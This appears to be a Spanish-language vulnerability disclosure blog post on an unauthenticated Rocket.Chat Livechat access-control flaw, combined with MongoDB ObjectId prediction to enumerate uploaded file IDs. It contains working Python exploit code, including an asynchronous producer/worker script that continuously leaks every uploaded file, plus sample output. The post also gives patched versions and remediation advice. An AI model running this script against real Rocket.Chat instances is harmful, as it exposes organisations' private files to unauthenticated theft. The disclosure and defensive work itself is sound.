Predicción continua de MongoDB ObjectId en Rocket.Chat

Las aplicaciones que utilizan MongoDB suelen caer en el error de tratar la ObjectId() función como criptográficamente segura. Recientemente, descubrimos que Rocket.Chat, una aplicación de código abierto similar a Slack, era víctima de esto. En Aikido, realizamos Pentests de IA en varias aplicaciones de código abierto para probar nuestros agentes e identificar sus puntos fuertes y de mejora. Durante el pentest, uno de los agentes informó que un usuario no autenticado de Rocket.Chat puede acceder a cualquier archivo subido si conoce su ID. El ID se genera con el ObjectId() y parece aleatorio a primera vista, pero si se mira más de cerca, ¡están lejos de serlo!

En esta publicación, demostraremos cómo un atacante puede recuperar continuamente todos los IDs válidos generados. Describiremos un ataque que sondea el ID actual para predecir todos los demás IDs generados por la aplicación. Esto se demuestra capturando cada archivo subido en una instancia de Rocket.Chat. El ataque podría aplicarse a diferentes aplicaciones que utilicen MongoDB con las mismas primitivas, más allá de Rocket.Chat.

Encontramos y reportamos el problema en Rocket.Chat el 21 de abril a través de HackerOne (ahora divulgado públicamente: #3687142). A partir del 12 de junio, se ha corregido en las versiones 8.5.1, 8.4.4, 8.3.6, 8.2.6, 8.1.6, 8.0.7, 7.13.9 y 7.10.13. Si usted o su organización aloja una instancia de Rocket.Chat, actualice a cualquiera de estas versiones o a una más reciente lo antes posible si aún no lo ha hecho. Dado que es un exploit no autenticado, cualquiera con acceso a la red puede explotarlo.

La Vulnerabilidad

Antes de profundizar en la técnica de explotación, permítanme explicar más sobre cómo funciona Rocket.Chat.

El principal caso de uso de Rocket.Chat es la comunicación con su organización y equipo. Las conversaciones se dividen en canales configurables, y los usuarios pueden compartir archivos además del chat. Para entender la superficie de ataque no autenticada, en la configuración predeterminada, los usuarios no pueden registrarse por sí mismos y se requiere iniciar sesión para abrir la aplicación.

También hay un componente opcional llamado Livechat, que es esencialmente un chat de soporte no autenticado. Aunque es opcional, está habilitado por defecto, pero no es visible a menos que se navegue directamente a /livechat:

Livechat permite a los usuarios enviar un mensaje de texto sin formato al servicio de soporte. Además, este widget admite la carga de archivos, pero la entrada está deshabilitada por defecto (por lo que no se puede ver en la captura de pantalla anterior). Aun así, el endpoint de la API para subir archivos sin autenticación sigue siendo accesible. Esta es la primitiva principal que utilizaremos en nuestro eventual exploit.

Los archivos subidos en cualquiera de estas características (canales autenticados y Livechat no autenticado) se almacenan en la misma ubicación: /file-upload/{fileId}. Esto genera algunas complicaciones en la lógica de autorización. ¿Podríamos abusar de algo en Livechat para leer subidas de canales reales?

Uno de los agentes notó algo peculiar en FileUpload.ts. Hay dos formas diferentes de definir el ID de sala de un archivo. En primer lugar, la autorización se realiza mediante requestCanAccessFiles que lee rc_rid (rid = ID de sala) de la cadena de consulta.

async requestCanAccessFiles({ headers = {}, url }: http.IncomingMessage, file?: IUpload) {
    const { query } = URL.parse(url, true);
    let { rc_uid, rc_token, rc_rid, rc_room_type } = query;
    ...
   const isAuthorizedByRoom = async () =>
        rc_room_type &&
        roomCoordinator
            .getRoomDirectives(rc_room_type)
            .canAccessUploadedFile({ rc_uid: rc_uid || '', rc_rid: rc_rid || '', rc_token: rc_token || '' });

El rc_rid dado se pasa a canAccessUploadedFile junto con el parámetro rc_token para verificar que se tiene acceso a esa sala y se debería poder leer el archivo:

async canAccessUploadedFile({ rc_token: token, rc_rid: rid }) {
    return token && rid && !!(await LivechatRooms.findOneByIdAndVisitorToken(rid, token));
},

En segundo lugar, está la llamada a FileUpload.requestCanAccessFiles, que obtiene el archivo de la /file-upload/{fileId}/… ruta y lo busca directamente en la base de datos:

WebApp.connectHandlers.use(FileUpload.getPath(), async (req, res, next) => {
    const match = /^\/([^\/]+)\/(.*)/.exec(req.url || '');

    if (match?.[1]) {
        const file = await Uploads.findOneById(match[1]);

        if (file) {
            if (!(await FileUpload.requestCanAccessFiles(req, file))) {

Esta archivo también tiene un rid (ID de sala), que puede ser diferente del rc_rid dado en la URL. ¿Qué pasaría si no coinciden?

La respuesta es una gran vulnerabilidad. Rocket.Chat no verifica que el archivo que solicitas esté dentro de la sala para la que estás verificando el acceso. Esto significa que puedes proporcionar cualquier sala ficticia válida y luego especificar un fileId arbitrario en el parámetro de ruta para obtener su contenido.

Veámoslo en la práctica. Primero subimos cualquier archivo a un canal como la víctima. En la captura de pantalla siguiente, el usuario administrador subió file.txt:

Luego, copia el enlace al archivo, como:
https://rocketchat.local/file-upload/6a325394876fbe9c70b1b03f/file.txt
Al visitar ingenuamente la URL en una pestaña de incógnito, se devuelve un error 403, por lo que debería ser privada. Ahora veamos si podemos filtrarla usando la funcionalidad de Livechat.

Toma la fileId parte 6a325394876fbe9c70b1b03f, y solicitemos la misma URL con cualquier usuario anónimo de sala de Livechat. Podemos crear una sesión registrándonos primero como "visitante" con cualquier valor de token y luego solicitando nuestro ID de sala. Con este ID de sala válido, si nuestro exploit funciona, ahora podemos obtener cualquier archivo si solo conocemos su fileId. Porque no hay ninguna comprobación que compare la sala real del archivo con nuestra sala temporal.

Desarrollaremos un script de Python para nuestro exploit final paso a paso. Comenzando con la implementación de esta idea:

HOST = "https://rocketchat.local"
FILE_ID = "6a325394876fbe9c70b1b03f"

s = requests.Session()

token = "x"
# Create anonymous visitor with token
s.post(f"{HOST}/api/v1/livechat/visitor", 
       json={"visitor": {"token": token, "name": "attacker", "email": "attacker@example.com"}})
# Get our Room ID
r = s.get(f"{HOST}/api/v1/livechat/room", 
          params={"token": token, "agentId": "rocket.cat"})
rid = r.json()["room"]["_id"]
print(f"{rid=}")  # ceHsTjGSTfvAzWHk2

# Get other file using our Room ID
r = s.get(f"{HOST}/file-upload/{FILE_ID}/x", 
          params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
print(r.text)  # SUPER SECRET DATA
print(r.headers["Content-Disposition"])  # attachment; filename*=UTF-8''file.txt

Hemos filtrado con éxito los DATOS SUPER SECRETOS dentro de file.txt! También obtenemos el nombre de archivo original en el Content-Disposition: cabecera, lo que facilita saber qué se supone que contiene realmente el archivo.

Un hallazgo interesante por parte del agente, pero que dependía del conocimiento del difícil de adivinar fileId: 6a325394876fbe9c70b1b03f. Parece un valor aleatorio compuesto por 12 bytes. Incluso con un millón de solicitudes por segundo, estaríamos hablando de miles de vidas del universo antes de esperar el primer acierto. No es del todo realista.

Después de revisar manualmente más código fuente de la aplicación, no encontramos ninguna forma de filtrar directamente ninguno de estos ID de archivo de otras fuentes. ¿Cómo obtenemos un ID válido?

La primera pista proviene del hecho de que este ID es generado por la función de MongoDB ObjectId() . “¿Cómo nos ayuda eso?”, podría preguntar.

MongoDB ObjectId()

Como se explica en la documentación, un ObjectId se compone de:

• Una marca de tiempo de 4 bytes, que representa la creación del ObjectId, medida en segundos desde la época Unix.
• Un valor aleatorio de 5 bytes generado una vez por proceso del lado del cliente. Este valor aleatorio es único para la máquina y el proceso. Si el proceso se reinicia o el nodo principal del proceso cambia, este valor se vuelve a generar.
• Un contador incremental de 3 bytes por proceso del lado del cliente, inicializado con un valor aleatorio. El contador se reinicia cuando un proceso se reinicia.

Así, un ID como 6a325394876fbe9c70b1b03f se puede dividir en:

También dice:

> Para los valores de marca de tiempo y contador, los bytes más significativos aparecen primero en la secuencia de bytes (big-endian)

Así, nuestra marca de tiempo 6a325394 se puede decodificar como el 17 de junio de 2026 a las 9:58:12 AM:

>>> from datetime import datetime
>>> datetime.fromtimestamp(int("6a325394", 16))
datetime.datetime(2026, 6, 17, 9, 58, 12)

El valor del contador b1b03f también es un entero big-endian. b1b03f + 1 sería b1b040, el siguiente ID. Este contador se inicializa aleatoriamente y se reinicia al llegar a ffffff con 000000.

También es bastante obvio si comparamos dos IDs de archivo secuenciales ahora. Están lejos de ser aleatorios.

1. 6a325394876fbe9c70b1b03f
2. 6a325a30876fbe9c70b1b048

Predicción completamente al azar

Con esta baja entropía, se podría pensar que podemos forzar los IDs por fuerza bruta hasta que encontremos un archivo existente. Aunque esto es mayormente cierto para la marca de tiempo (solo tenemos que iterar los segundos de los últimos meses), no conocemos el valor aleatorio estático de 5 bytes, y el contador también se inicializa aleatoriamente.

Solo el valor aleatorio estático tiene más de un billón de posibilidades (256^5). A una tasa de 1000 solicitudes por segundo, seguiría esperando ~18 años. Para entonces, me impresionaría si la máquina de su atacante siguiera funcionando.

Podemos asumir que esto es imposible.

Predicción desde un punto de anclaje

La mejor forma de abordar esto es encontrar cualquier ObjectId() salida de la aplicación, y luego predecir los futuros a partir de ahí. Un "punto de anclaje". En Rocket.Chat, afortunadamente para nosotros, hay una forma muy sencilla de hacerlo con la función de Livechat que ya estamos utilizando. Si simplemente subimos un archivo de forma anónima, obtenemos su ID, esa es nuestra muestra.

r = s.post(f"{HOST}/api/v1/livechat/upload/{rid}", 
            headers={"x-visitor-token": token}, 
            files={"file": ("probe", b"probe", "text/plain")})
r.raise_for_status()
data = r.json()
probe_id = data["file"]["_id"]
print(f"{probe_id=}")  # 6a325fbf876fbe9c70b1b053

Ahora tenemos dos primitivas requeridas:

1. Algo a lo que no deberíamos tener acceso es accesible si conocemos su ObjectId()
2. Tenemos una forma de generar y leer nuestros propios ObjectId()

Con esto en mano podemos avanzar mucho más. Para encontrar archivos subidos por otros usuarios tenemos que pensar en qué cambia: la marca de tiempo y el contador. La marca de tiempo tendremos que decrementarla en segundos hasta el momento deseado. Pero en el caso del contador, no sabemos realmente cuánto decrementarlo porque otras funciones pueden generar ObjectId()igualmente, saltándose ciertos valores para los IDs de archivo que buscamos.

Simplemente adivinando algunos rangos ya podemos tener bastante éxito:

# Parse parts of the ObjectId()
timestamp = datetime.fromtimestamp(int(probe_id[0:8], 16))
random = probe_id[8:18]
counter = int(probe_id[18:24], 16)
print(f"{timestamp=} {random=} {counter=}")

# Loop through the last 5 minutes of timestamps, and last 20 counters
for delta in tqdm(range(int(timedelta(minutes=5).total_seconds()))):
    for c in range(counter - 20, counter):
        t = timestamp - timedelta(seconds=delta)  # Go backwards
        # Create new potential ObjectId()
        oid = f"{int(t.timestamp()):08x}{random}{c:06x}"
        if oid == probe_id:
            continue  # Skip our own file

        # Try requesting it, if successful, print it
        r = s.get(f"{HOST}/file-upload/{oid}/x", 
            params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
        if r.ok:
            tqdm.write(f"{oid}: {r.text!r}")

Si subimos un archivo a Rocket.Chat y luego ejecutamos este script poco después, descubre el ID y sus datos (iterando a través de los últimos 5 minutos + los 20 IDs anteriores en el contador). A continuación, se muestra un ejemplo de la salida que puede esperar:

probe_id='6a326750876fbe9c70b1b069'
timestamp=datetime.datetime(2026, 6, 17, 11, 22, 24) random='876fbe9c70' counter=11645033
6a326747876fbe9c70b1b068: 'SUPER SECRET DATA'                             
  6%|██▎                                 | 19/300 [00:09<02:36,  1.79it/s]

Aunque viable para una prueba de concepto, en un ataque realista no sabrá exactamente cuándo una víctima sube su archivo. Una instancia real también puede estar mucho más ocupada que la nuestra local, generando muchos ObjectId()para otras funciones que desplazan los IDs de archivo. Necesitamos ser más rápidos y encontrar una forma de garantizar que alcanzamos cada ID de archivo sin hacer suposiciones sobre la marca de tiempo o el contador.

Encontrar continuamente todos los ObjectId()s

Actualmente, un gran cuello de botella es que estamos solicitando cada ID de forma síncrona, uno por uno. Mientras esperamos una respuesta del servidor, no estamos haciendo nada. Al convertir el código para que sea asíncrono con una librería como httpx, podemos generar múltiples workers que envíen solicitudes desde una cola al mismo tiempo.
Extraeremos el nombre de archivo del Content-Disposition: encabezado al mismo tiempo, y guardaremos el archivo en filtraciones/ localmente con su nombre de archivo original.

async def get_token(client):
    token = "x"
    r = await client.post(f"{HOST}/api/v1/livechat/visitor", json={"visitor": {"token": token, "name": "probe", "email": "probe@ex.com"}})
    r.raise_for_status()
    r = await client.get(f"{HOST}/api/v1/livechat/room", params={"token": token, "agentId": "rocket.cat"})
    r.raise_for_status()
    rid = r.json()["room"]["_id"]
    return token, rid

async def oid_worker(client, i, queue, rid, token):
    while True:
        oid = await queue.get()
        print(f"Worker {i} requesting {oid}")
        r = await client.get(f"{HOST}/file-upload/{oid}/x", params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
        if r.status_code == 200:
           filename = unquote(r.headers["Content-Disposition"].split("filename*=UTF-8''")[1])
            try:
                content = r.text
            except UnicodeDecodeError:
                content = r.content
            print(f"[LEAK] {oid} ({filename}): {content[:100]!r}")
            with open(f"leaks/{filename.replace('/', '_')}", "wb") as f:
                f.write(r.content)

async def main():
    queue = asyncio.Queue()
    num_workers = 10

    async with httpx.AsyncClient() as client:
        token, rid = await get_token(client)
        print(f"{rid=}")

        print("Starting producer loop...")
        producer_task = asyncio.create_task(oid_producer(client, queue, rid, token))  # We will implement the producer in a second
        print(f"Starting {num_workers} workers...")
        worker_tasks = [
            asyncio.create_task(oid_worker(client, i, queue, rid, token))
            for i in range(num_workers)
        ]
        await asyncio.gather(producer_task, *worker_tasks)

if __name__ == "__main__":
    asyncio.run(main())

Para asegurar que alcanzamos cada ID existente, podemos aprovechar la diferencia entre múltiples sondeos. Si un sondeo anterior vio el contador en 100, y el siguiente sondeo un poco más tarde (ej. 10 segundos) lo vio en 122, sabemos que se generaron 22 IDs en ese intervalo de tiempo. El intervalo de tiempo también es inmediatamente claro: 10 segundos. Así podemos iterar a través de 10*22 IDs lo más rápido posible.

Una vez hecho esto, podemos enviar otro sondeo 10 segundos más tarde, digamos que el contador está en 130. Comparando eso con el sondeo ahora anterior de 122, tenemos que probar 8 valores de contador en 10 segundos de nuevo.
Podemos mantener este bucle en marcha, produciendo brechas de ID al sondear continuamente en intervalos cortos, y recuperándolos rápidamente usando workers asíncronos.

Visualmente, el algoritmo funciona de la siguiente manera. En lugar de recuperar un rango completo de 9*26=234 IDs, podemos obtener muestras de la aplicación para hacer más pequeños los rectángulos que buscamos. La suma de estos rangos más pequeños de 6+16+45 = 67, mucho menor que el rango completo ingenuo.

Manteniendo el programa en ejecución y con solicitudes lo suficientemente rápidas, podemos garantizar que alcanzamos cada ID de archivo potencial.

En nuestra implementación en Python, esto no es difícil de implementar. Solo tenemos que dividir cada ID de sondeo para extraer su marca de tiempo y contador, y compararlos con el anterior.
Si somos inteligentes, podemos guardar y evitar nuestros propios valores de contador de sondeo en la búsqueda, porque estos nunca serán los archivos secretos que buscamos. Un caso límite a tener en cuenta es que el contador se reinicia desde ffffff con 000000 si alcanza ese límite, por lo que necesitamos usar un módulo para asegurar que se mantenga dentro de 3 bytes.

PRODUCER_INTERVAL = 10

def split_probe_id(probe_id):
    timestamp = int(probe_id[0:8], 16)
    random = probe_id[8:18]
    counter = int(probe_id[18:24], 16)
    return timestamp, random, counter

def mod_range(start, stop, modulus):
    for i in range((stop - start) % modulus):
        yield (start + i) % modulus

async def oid_producer(client, queue, rid, token):
    prev_probe_id = await get_probe_id(client, rid, token)
    probes = set([split_probe_id(prev_probe_id)[2]])
    await asyncio.sleep(PRODUCER_INTERVAL)
    while True:
        probe_id = await get_probe_id(client, rid, token)
        prev_timestamp, _, prev_counter = split_probe_id(prev_probe_id)
        timestamp, random, counter = split_probe_id(probe_id)
        probes.add(counter)
        i = 0
        for t in range(prev_timestamp, timestamp):
            for c in mod_range(prev_counter, counter, 0x1000000):
                if c in probes:
                    continue  # Skip our own files
                oid = f"{t:08x}{random}{c:06x}"
                await queue.put(oid)
                i += 1
        print(f"Produced {i} IDs")
        prev_probe_id = probe_id
        await asyncio.sleep(PRODUCER_INTERVAL)

Ahora, finalmente ejecutando el script, podemos ver en nuestra instancia local que es bastante monótono mientras no sucede nada. Saltamos nuestros propios IDs y la diferencia con el sondeo anterior es solo 1. Hasta que abrimos la aplicación y subimos un archivo, en 10 segundos, es detectado por el script de exploit y filtrado por un worker que lo recogió:

Iniciando bucle de productor...
Iniciando 10 workers...
Se produjeron 0 IDs
Se produjeron 0 IDs
...
Se produjeron 22 IDs
Worker 0 solicitando 6a32774c876fbe9c70b1b112
Worker 1 solicitando 6a32774c876fbe9c70b1b113
...
Worker 3 solicitando 6a327754876fbe9c70b1b113
[FILTRACIÓN] 6a32774e876fbe9c70b1b112: 'DATOS SUPER SECRETOS'
Worker 5 solicitando 6a327756876fbe9c70b1b113
Se produjeron 0 IDs

¡Éxito! Mientras el script está en ejecución, ahora estamos identificando y filtrando cada archivo subido en la instancia de Rocket.Chat. Con las mejoras de velocidad, la instancia puede usarse regularmente sin detener mucho nuestro script, y además, es una cola, así que si hay demasiado trabajo, eventualmente se pondrá al día cuando haya menos actividad. Tenga en cuenta que el intervalo de 10 segundos que estamos usando actualmente es completamente arbitrario; cuanto más bajo lo configure, más pequeños serán los rangos posibles, lo que le permitirá detectar con precisión cuándo se sube un archivo. Puede decidir el equilibrio entre el número de solicitudes de sondeo y el número de solicitudes de fuerza bruta por sí mismo.

Vea la prueba de concepto en este vídeo:

Puntos clave

Rocket.Chat solucionó el problema de control de acceso (#40889) pasando el archivo en canAccessUploadedFile(), y verificando que el archivo elegido coincide con el ID de sala especificado en el parámetro de consulta.

Como guía general, para IDs aleatorios, recomendamos no depender de ObjectId(), es casi tan inseguro como un simple ID incremental. Como defensa en profundidad, utilice UUIDv4 para cadenas aleatorias seguras y así asegurar que, incluso con errores de control de acceso, un atacante necesite un segundo paso para descubrir los IDs.

Aunque nuestro agente encontró con éxito la vulnerabilidad IDOR, inicialmente no mencionó la predictibilidad de los IDs de MongoDB ObjectId()s, porque una sola muestra parece aleatoria a primera vista. Con los cambios que realizamos después de esta investigación, los agentes ahora exploran la entropía de dichos IDs para explicar con mayor precisión la probabilidad de explotación en los informes.

Para los investigadores de seguridad y pentesters que buscan mejorar el realismo de sus PoC de IDOR, ahora saben que pueden predecir fácilmente los IDs de MongoDB. Algo a tener en cuenta siempre que tengan dos IDs que parezcan inquietantemente similares.

Nuestra herramienta de pentesting de IA lo descubrió por sí sola. Si desea un pentesting rápido y de alta calidad para su aplicación, consulte la suite de pentesting de Aikido.